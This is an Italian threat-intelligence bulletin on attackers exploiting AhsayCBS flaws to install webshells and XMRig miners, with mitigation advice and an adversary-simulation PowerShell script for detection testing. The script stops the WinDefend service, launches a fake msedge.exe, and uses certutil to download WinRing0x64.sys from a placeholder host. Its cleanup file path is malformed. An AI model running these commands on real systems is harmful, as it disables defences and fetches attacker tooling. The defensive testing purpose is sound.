Gli Attori Maletari Sfruttano Difetti Critici di AhsayCBS per Rilasciare Webshell e XMRig Cryptominer

Sommario

Gli attori delle minacce stanno sfruttando due vulnerabilità critiche nel software di backup AhsayCBS per ottenere l’esecuzione di codice remoto non autenticato. Dopo aver ottenuto l’accesso, gli aggressori distribuiscono webshell JSP e installano cryptominer XMRig camuffati da processi di Microsoft Edge. La campagna utilizza anche uno script PowerShell assistito dall’intelligenza artificiale progettato per eludere il rilevamento monitorando e interferendo con il Task Manager di Windows.

Indagine

Huntress ha identificato una catena di sfruttamento che combina CVE-2026-105133 per il bypass dell’autenticazione con CVE-2026-105134 per l’esecuzione di codice remoto. I ricercatori hanno osservato un’utilità NSSM modificata rinominata in msedge.exe e il driver kernel vulnerabile WinRing0x64.sys utilizzato per fornire al miner accesso hardware a basso livello. L’attività post-sfruttamento includeva anche la creazione di un servizio Windows dannoso denominato MicrosoftEdgeUpdateSvc.

Mitigazione

Le organizzazioni che utilizzano versioni di AhsayCBS fino alla 10.3.4 dovrebbero immediatamente limitare l’accesso all’interfaccia di gestione a indirizzi IP fidati o connessioni VPN. Gli aggiornamenti di sicurezza devono essere applicati non appena rilasciati dal fornitore. Gli amministratori dovrebbero anche monitorare eventuali processi figli sospetti avviati dall’eseguibile del servizio AhsayCBS.

Risposta

Quando vengono rilevati indicatori di compromissione, le organizzazioni dovrebbero eseguire un’immagine completa dell’host da un backup fidato per eliminare potenziali backdoor secondarie. Indagare sui servizi Windows non autorizzati e sui file sospetti memorizzati nelle directory Temp. Verificare la telemetria di rete per connessioni a pool di mining di criptovalute noti o infrastrutture di hosting Alibaba Cloud OSS.

Script di Test di Regressione

• Narrazione e Comandi dell’Attacco: L’avversario ha sfruttato con successo il servizio AhsayCBS. Per mantenere la persistenza e distribuire un cryptominer, prima generano una shell di comando dal cbssvcX64.exe processo. Per evitare il rilevamento, avviano un processo denominato msedge.exe usando l’argomento --daemonized facendolo sembrare come un legittimo processo in background del browser. Usano quindi PowerShell per fermare i servizi di sicurezza (simulato tramite blocco di script). Infine, usano certutil.exe per scaricare WinRing0x64.sys, un driver utilizzato per facilitare l’accesso al sistema a basso livello per il loro payload di mining.

• Script di Simulazione

  # Script di Simulazione per Attività post-sfruttamento AhsayCBS
  # NOTA: Questo script simula il comportamento imitando la gerarchia dei processi e le linee di comando.
  
  # 1. Simulazione generazione di cmd.exe da parte di AhsayCBS (richiede un contesto di parentela di processo specifico nei log reali)
  # A fini di simulazione, useremo un approccio di processo figlio.
  $cbsProcess = Start-Process "cmd.exe" -ArgumentList "/c echo Simulazione AhsayCBS" -PassThru
  
  # 2. Simulazione Processo Daemonizzato Edge Falso
  Start-Process "msedge.exe" -ArgumentList "--daemonized"
  
  # 3. Simulazione Blocco di Script PowerShell Malevolo
  $maliciousScript = {
      Write-Host "Tentativo di disabilitare le difese..."
      Stop-Service -Name "WinDefend" -Force
      # Simulazione interazione con Task Manager
      $taskManager = "Task Manager"
  }
  Invoke-Command -ScriptBlock $maliciousScript
  
  # 4. Simulazione Download Driver Certutil
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f https://example.com/WinRing0x64.sys"

• Comandi di Pulizia:

  # Pulizia: Termina i processi simulati e rimuovi eventuali artefatti scaricati.
  Stop-Process -Name "msedge" -ErrorAction SilentlyContinue
  Stop-Process -Name "cmd" -ErrorAction SilentlyContinue
  Remove-Item -Path "C:Users*DownloadsWinRing0x64.sys" -ErrorAction SilentlyContinue